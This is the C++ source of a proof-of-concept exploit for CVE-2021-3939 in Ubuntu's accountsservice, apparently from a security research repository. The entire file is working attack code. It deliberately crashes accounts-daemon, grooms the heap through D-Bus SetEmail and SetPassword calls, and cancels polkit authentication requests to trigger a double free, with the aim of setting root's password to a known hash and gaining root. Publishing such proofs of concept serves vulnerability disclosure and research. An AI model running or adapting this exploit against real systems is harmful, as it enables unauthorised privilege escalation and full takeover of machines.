SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc.cpp (485 lines of code) (raw):

#include "dbus_utils.hpp" #include "dbus_auth.hpp" #include "parse.hpp" #include "utils.hpp" #include <pwd.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/un.h> #include <sys/wait.h> #include <dirent.h> #include <errno.h> #include <spawn.h> #include <signal.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pty.h> #include <fcntl.h> #include <functional> #include <memory> #include <utility> #include <iostream> #include <set> #include <random> #include <assert.h> static const char accounts_daemon[] = "/usr/lib/accountsservice/accounts-daemon"; static const char* etc_shadow_path = "/etc/shadow"; // Return true if the timespecs are equal. static bool timespec_eq(const timespec& t1, const timespec& t2) { return t1.tv_sec == t2.tv_sec && t1.tv_nsec == t2.tv_nsec; } // This class creates an array containing the names of all the files in a // directory. It does this by running `scandirat` in its constructor. class ScanDirAt { struct dirent **namelist_; const int n_; public: explicit ScanDirAt(int fd) : n_(scandirat(fd, ".", &namelist_, NULL, alphasort)) { if (n_ < 0) { throw ErrorWithErrno("ScanDirAt failed."); } } ~ScanDirAt(); int size() const { return n_; } const char* get(int i) const { return namelist_[i]->d_name; } }; ScanDirAt::~ScanDirAt() { if (n_ >= 0) { for (int i = 0; i < n_; i++) { free(namelist_[i]); } free(namelist_); } } // Search `/proc/*/cmdline` to find the PID of a running program. static std::vector<pid_t> search_pids(const char *cmdline, size_t cmdline_len) { AutoCloseFD procdir_fd(open("/proc", O_PATH | O_CLOEXEC)); if (procdir_fd.get() < 0) { throw ErrorWithErrno("Could not open /proc."); } ScanDirAt scanDir(procdir_fd.get()); const int n = scanDir.size(); std::vector<pid_t> result; for (int i = 0; i < n; i++) { const char* subdir_name = scanDir.get(i); AutoCloseFD subdir_fd( openat(procdir_fd.get(), subdir_name, O_PATH | O_CLOEXEC) ); if (procdir_fd.get() < 0) { continue; } AutoCloseFD cmdline_fd( openat(subdir_fd.get(), "cmdline", O_RDONLY | O_CLOEXEC) ); if (cmdline_fd.get() < 0) { continue; } // Check if the command line matches. char buf[0x1000]; ssize_t r = read(cmdline_fd.get(), buf, sizeof(buf)); if (r < 0 || static_cast<size_t>(r) < cmdline_len) { continue; } if (memcmp(buf, cmdline, cmdline_len) == 0) { // The name of the sub-directory is the PID. result.push_back(atoi(subdir_name)); } } return result; } static pid_t search_pid(const char *cmdline, size_t cmdline_len) { std::vector<pid_t> pids = search_pids(cmdline, cmdline_len); if (pids.size() == 1) { return pids[0]; } return -1; } class DBusSocket : public AutoCloseFD { public: DBusSocket(const uid_t uid, const char* filename) : AutoCloseFD(socket(AF_UNIX, SOCK_STREAM, 0)) { if (get() < 0) { throw ErrorWithErrno("Could not create socket"); } sockaddr_un address; memset(&address, 0, sizeof(address)); address.sun_family = AF_UNIX; strcpy(address.sun_path, filename); if (connect(get(), (sockaddr*)(&address), sizeof(address)) < 0) { throw ErrorWithErrno("Could not connect socket"); } dbus_sendauth(uid, get()); dbus_send_hello(get()); std::unique_ptr<DBusMessage> hello_reply1 = receive_dbus_message(get()); std::string name = hello_reply1->getBody().getElement(0)->toString().getValue(); std::unique_ptr<DBusMessage> hello_reply2 = receive_dbus_message(get()); } }; static std::string getHomeDir(uid_t uid) { FILE *fp = fopen("/etc/passwd", "r"); char buf[4096] = {}; struct passwd pw; struct passwd *pwp; while (true) { if (fgetpwent_r(fp, &pw, buf, sizeof(buf), &pwp) != 0) { fclose(fp); char errmsg[256]; snprintf( errmsg, sizeof(errmsg), "Could not find UID %u in /etc/passwd.", uid ); throw Error(errmsg); } if (uid == pw.pw_uid) { fclose(fp); return _s(pw.pw_dir); } } } static std::string send_accountsservice_FindUserById( const int fd, const uint32_t serialNumber, const uid_t uid ) { printf("send_accountsservice_FindUserById: (serial %u) uid = %u\n", serialNumber, uid); dbus_method_call( fd, serialNumber, DBusMessageBody::mk( _vec<std::unique_ptr<DBusObject>>( DBusObjectInt64::mk(uid) ) ), _s("/org/freedesktop/Accounts"), _s("org.freedesktop.Accounts"), _s("org.freedesktop.Accounts"), _s("FindUserById") ); std::unique_ptr<DBusMessage> reply = receive_dbus_message(fd); if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) { throw Error("FindUserById returned an error."); } return reply->getBody().getElement(0)->toPath().getValue(); } static void send_accountsservice_SetPassword( const int fd, const char* userpath, const char* password, const char* hint, const uint32_t serialNumber ) { dbus_method_call( fd, serialNumber, DBusMessageBody::mk( _vec<std::unique_ptr<DBusObject>>( DBusObjectString::mk(_s(password)), DBusObjectString::mk(_s(hint)) ) ), _s(userpath), _s("org.freedesktop.Accounts.User"), _s("org.freedesktop.Accounts"), _s("SetPassword") ); // Don't wait for reply here because it's blocked on polkit. } static void send_accountsservice_set_property( const int fd, const uint32_t serialNumber, const char* userpath, const char* command, const char* value ) { dbus_method_call( fd, serialNumber, DBusMessageBody::mk( _vec<std::unique_ptr<DBusObject>>( DBusObjectString::mk(_s(value)) ) ), _s(userpath), _s("org.freedesktop.Accounts.User"), _s("org.freedesktop.Accounts"), _s(command) ); std::unique_ptr<DBusMessage> reply = receive_dbus_message(fd); if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) { throw Error("set_property returned an error."); } } // Information that can be gathered once when we first start executing. class ProgramInfo { public: // Path to the dbus socket. (Usually: /var/run/dbus/system_bus_socket) const char* dbus_socket_path_; // UID and PID of this process. const uid_t uid_; const pid_t pid_; // Start time of the process. (Needed to register as an authentication agent.) const uint64_t start_time_; const std::string homedir_; explicit ProgramInfo(const char* dbus_socket_path) : dbus_socket_path_(dbus_socket_path), uid_(getuid()), pid_(getpid()), start_time_(process_start_time(pid_)), homedir_(getHomeDir(uid_)) { printf("uid: %u\n", uid_); printf("pid: %u\n", pid_); printf("home dir: %s\n", homedir_.c_str()); } }; static void send_polkit_RegisterAuthenticationAgent( const ProgramInfo& info, const int fd, const uint32_t serialNumber ) { std::unique_ptr<DBusMessageBody> body = DBusMessageBody::mk( _vec<std::unique_ptr<DBusObject>>( // Subject DBusObjectStruct::mk( _vec<std::unique_ptr<DBusObject>>( DBusObjectString::mk(_s("unix-process")), // subject_kind DBusObjectArray::mk1( _vec<std::unique_ptr<DBusObject>>( DBusObjectDictEntry::mk( DBusObjectString::mk(_s("pid")), DBusObjectVariant::mk( DBusObjectUint32::mk(info.pid_) ) ), DBusObjectDictEntry::mk( DBusObjectString::mk(_s("uid")), DBusObjectVariant::mk( DBusObjectInt32::mk(info.uid_) ) ), DBusObjectDictEntry::mk( DBusObjectString::mk(_s("start-time")), DBusObjectVariant::mk( DBusObjectUint64::mk(info.start_time_) ) ) ) ) ) ), DBusObjectString::mk(_s("en")), // locale DBusObjectString::mk(_s("/org/freedesktop/PolicyKit1/AuthenticationAgent")) // object path ) ); dbus_method_call( fd, serialNumber, std::move(body), _s("/org/freedesktop/PolicyKit1/Authority"), _s("org.freedesktop.PolicyKit1.Authority"), _s("org.freedesktop.PolicyKit1"), _s("RegisterAuthenticationAgent") ); std::unique_ptr<DBusMessage> reply = receive_dbus_message(fd); if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) { throw Error("RegisterAuthenticationAgent returned an error."); } } // Sends an error reply back to the "BeginAuthentication" message that we // received from polkit. This cancels the authentication so that polkit // will deny the request. (Sometimes we want to deliberately delay the // cancellation for a bit, so this allows us to control that.) static void polkit_cancel_auth( const int fd, const uint32_t serialNumber, const DBusMessage& request ) { const std::string& sender = request.getHeader_lookupField(MSGHDR_SENDER).getValue()->toString().getValue(); // Send error request dbus_method_error_reply( fd, serialNumber, request.getHeader_serialNumber(), _s(sender), _s("org.freedesktop.PolicyKit1.Error.Cancelled") ); } class Run { const ProgramInfo& info_; const std::string pam_env_path_; // We're going to exchange messages with polkit and accounts-daemon. // This is lazy coding, but the logic is simplier if we use two // separate sockets. const DBusSocket polkit_fd_; const DBusSocket accounts_fd_; uint32_t serialNumber_; // Usually something like /org/freedesktop/Accounts/User1001 const std::string my_objectpath_; public: explicit Run(const ProgramInfo& info) : info_(info), pam_env_path_(info_.homedir_ + _s("/.pam_environment")), polkit_fd_(info_.uid_, info_.dbus_socket_path_), accounts_fd_(info_.uid_, info_.dbus_socket_path_), serialNumber_(1000), my_objectpath_( send_accountsservice_FindUserById(accounts_fd_.get(), serialNumber_++, info_.uid_) ) {} // This function triggers the bug by removing `~/.pam_environment` and // calling the "SetLanguage" method. void trigger_bug() { unlink(pam_env_path_.c_str()); try { send_accountsservice_set_property( accounts_fd_.get(), serialNumber_++, my_objectpath_.c_str(), "SetLanguage", "kevwozere" ); } catch(Error&) { // An error is quite likely, so ignore it. } } // We use this function to make sure that we're starting from a clean slate. // It makes the exploit a bit less unreliable. void restart_accounts_daemon() { while (true) { const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon)); if (pid < 0) { printf("accounts-daemon is not running\n"); break; } printf("accounts-daemon PID: %d\n", pid); trigger_bug(); // Sleep for 0.2 seconds, to give accounts-daemon a chance to crash. timespec duration = {}; duration.tv_sec = 0; duration.tv_nsec = 500000000; clock_nanosleep(CLOCK_MONOTONIC, 0, &duration, 0); } } void attempt_exploit( const size_t batch_size1, const size_t batch_size2 ) { restart_accounts_daemon(); send_polkit_RegisterAuthenticationAgent(info_, polkit_fd_.get(), serialNumber_++); // By default, accountsservice does not register the root user. This triggers it. const std::string root_objectpath = send_accountsservice_FindUserById(accounts_fd_.get(), serialNumber_++, 0); const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon)); printf("Starting exploit. PID: %u\n", pid); // Trigger the bug. trigger_bug(); // This is declared outside of the loop because we want to remember the // the last value that it's set to. char email[64] = "kevwozere@kevwozere.com"; // Try to occupy the chunk. for (size_t i = 0; i < batch_size1; i++) { // Changing the email address triggers a call to `save_extra_data`, // which causes a bunch of memory to be allocated and freed, but // without increasing the total memory usage. (At least, I haven't // noticed any memory leaks in that code.) So by jumbling the memory // up, it will hopefully increase the chance that one of the calls // to SetPassword will allocate the chunk that we want it to. snprintf(email, sizeof(email), "kevwozere@kevwozere.kevwozere.kevwozere.kevwozere.%.8lu.com", i ); send_accountsservice_set_property( accounts_fd_.get(), serialNumber_++, my_objectpath_.c_str(), "SetEmail", email ); // The password and hint are sized so that they will require a chunk // bigger than size 0x40. const char* password = "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"; const char* hint = "0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF"; send_accountsservice_SetPassword( accounts_fd_.get(), root_objectpath.c_str(), password, hint, serialNumber_++ ); } // We expect to receive one polkit "BeginAuthentication" for each // "SetPassword" message that we sent. std::vector<std::unique_ptr<DBusMessage>> polkit_requests_batch1; polkit_requests_batch1.reserve(batch_size1); for (size_t i = 0; i < batch_size1; i++) { polkit_requests_batch1.push_back(receive_dbus_message(polkit_fd_.get())); } // Trigger the bug a second time. If things are going to plan // then the chunk currently contains the memory that was allocated // by `user_set_password`. We can control when `free_passwords` // gets called on it by releasing `polkit_requests_batch1`. trigger_bug(); for (size_t i = 0; i < batch_size2; i++) { // Changing the email address triggers a call to `save_extra_data`, // which causes a bunch of memory to be allocated and freed, but // without increasing the total memory usage. (At least, I haven't // noticed any memory leaks in that code.) So by jumbling the memory // up, it will hopefully increase the chance that one of the calls // to SetPassword will allocate the chunk that we want it to. snprintf(email, sizeof(email), "kevwozere@kevwozere.kevwozere.kevwozere.kevwozere.%.8lu.com", i ); send_accountsservice_set_property( accounts_fd_.get(), serialNumber_++, my_objectpath_.c_str(), "SetEmail", email ); // The password and hint are sized so that they will require a chunk // of size 0x40. const char* password = "0123456789abcdef0123456789abcdef0123456789abcdef"; const char* hint = "0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF"; send_accountsservice_SetPassword( accounts_fd_.get(), root_objectpath.c_str(), password, hint, serialNumber_++ ); } // Reject all of the authentication requests from the first batch. for (size_t i = 0; i < batch_size1; i++) { polkit_cancel_auth(polkit_fd_.get(), serialNumber_++, *polkit_requests_batch1[i]); // We should get an error response back from accounts-daemon. std::unique_ptr<DBusMessage> reply = receive_dbus_message(accounts_fd_.get()); if (reply->getHeader_messageType() != MSGTYPE_ERROR) { throw Error("Did not get the error response that we expected."); } // The error message should be org.freedesktop.Accounts.Error.PermissionDenied. // If it isn't then account-daemon probably crashed. const std::string& errmsg = reply->getHeader_lookupField(MSGHDR_ERROR_NAME).getValue()->toString().getValue(); if (errmsg != _s("org.freedesktop.Accounts.Error.PermissionDenied")) { throw Error(_s(errmsg)); } } // We expect to receive one polkit "BeginAuthentication" for each // "SetPassword" message that we sent in the second batch. std::vector<std::unique_ptr<DBusMessage>> polkit_requests_batch2; polkit_requests_batch2.reserve(batch_size2); for (size_t i = 0; i < batch_size2; i++) { if (search_pid(accounts_daemon, sizeof(accounts_daemon)) != pid) { throw Error("accounts-daemon crash"); } polkit_requests_batch2.push_back(receive_dbus_message(polkit_fd_.get())); } // Send a bunch of requests that will be approved by polkit (because // they only require org.freedesktop.accounts.change-own-user-data // permission). We're hoping that the auth data that is allocated for // one of these in `daemon_local_check_auth` (in an 0x40 chunk size) // will get freed before it is approved and overwritten with the auth // data for one of the subsequent SetPassword requests. // We alternate between the different messages because the timing // of when things will happen is very difficult to predict, so we // just have to rely on luck. for (size_t i = 0; i < batch_size2 + 64; i++) { // Reject all of the authentication requests from the second batch. // This will hopefully cause a double free of one of the 0x40 chunks. if (i < batch_size2) { polkit_cancel_auth(polkit_fd_.get(), serialNumber_++, *polkit_requests_batch2[i]); } // Note: this sends the same email address as we sent earlier (on the // final iteration of the batch1 loop). That's because we don't want // `user_change_email_authorized_cb` to call `save_extra_data`, which // would cause a bunch of memory churn that we don't want. dbus_method_call( accounts_fd_.get(), serialNumber_++, DBusMessageBody::mk( _vec<std::unique_ptr<DBusObject>>( DBusObjectString::mk(_s(email)) ) ), _s(my_objectpath_), _s("org.freedesktop.Accounts.User"), _s("org.freedesktop.Accounts"), _s("SetEmail") ); // password: iaminvincible! const char* password = "$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB"; const char* hint = "GoldenEye"; send_accountsservice_SetPassword( accounts_fd_.get(), root_objectpath.c_str(), password, hint, serialNumber_++ ); } // Give the messages a chance to get processed before we disconnect. sleep(2); printf("Finished iteration\n\n"); } }; int main(int argc, char* argv[]) { const char* progname = argc > 0 ? argv[0] : "a.out"; if (argc != 2) { fprintf( stderr, "usage: %s <unix socket>\n" "example: %s /var/run/dbus/system_bus_socket\n", progname, progname ); return EXIT_FAILURE; } const char* dbus_socket_path = argv[1]; try { // std::random is used to vary the batch sizes on each run, because // it's difficult to know which batch sizes are the most likely to // succeed. std::random_device rd; std::mt19937 gen(rd()); std::uniform_int_distribution<> distrib(1, 64); ProgramInfo info(dbus_socket_path); // When the poc is successful, the root user's password is set, // which causes /etc/shadow to be modified. So we can use stat // to detect when the exploit was successful. struct stat statorig; stat(etc_shadow_path, &statorig); while(true) { try { Run run(info); const size_t batch_size1 = distrib(gen); const size_t batch_size2 = distrib(gen); printf("batch sizes: %ld %ld\n", batch_size1, batch_size2); run.attempt_exploit(batch_size1, batch_size2); } catch (Error& e) { printf("%s\n", e.what()); sleep(2); } struct stat statnew; stat(etc_shadow_path, &statnew); if (!timespec_eq(statnew.st_mtim, statorig.st_mtim)) { printf("%s was modified!\n", etc_shadow_path); break; } } } catch (ErrorWithErrno& e) { const int err = e.getErrno(); fprintf(stderr, "%s\n%s\n", e.what(), strerror(err)); return EXIT_FAILURE; } catch (std::exception& e) { fprintf(stderr, "%s\n", e.what()); return EXIT_FAILURE; } return EXIT_SUCCESS; }